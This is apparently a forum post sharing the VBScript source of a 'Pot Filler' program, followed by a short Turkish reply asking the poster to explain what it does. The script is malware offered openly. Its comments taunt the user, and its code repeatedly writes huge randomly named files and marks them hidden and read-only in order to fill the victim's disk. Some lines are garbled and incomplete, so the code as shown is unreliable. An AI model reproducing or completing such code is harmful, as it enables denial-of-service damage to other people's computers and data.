' Pot Filler! ' 'Please run me to help fill your hard drive space ' 'I'M AT YOUR SERVICE' 'How 1 Bit becomes 1 Gigabyte ' ' OPTION EXPLICIT Dim Mxvir Dim Pxfil Dim xxvir Dim Axo Dim x Dim Oxpot for x = 0 to 50000 call pot_Filler next Function Pot_Filler for x = 1 to 20 randomize Axo = Int((20 ) Rnd + 1) If Axo <= 0 Then Axo = 1 End If Mxvir = Mid("lAwBenc1OPpQR0STU4cdzYrDvEF69", Axo, 1) xxvir = xxvir & Mxvir next set Pxfil = createobject set Oxpot = Pxfil. createtextfile(xxvir,2) for Axo = 0 to 50000 Mxvir = string(50000, xxvir) Oxpot. writeline next Oxpot. close set Oxpot = Pxfil. getfile Oxpot. attributes = 3 xxvir = "" Mxvir = "" end function ' I guess you like my rate of doing the job. ah" " ' Any time you buy a new drive just call on me. ' on time of running = 2.7 gigabytes X 50000

altına ne işe yaradığını söylesende sırf flood yapmış gibi olmasan...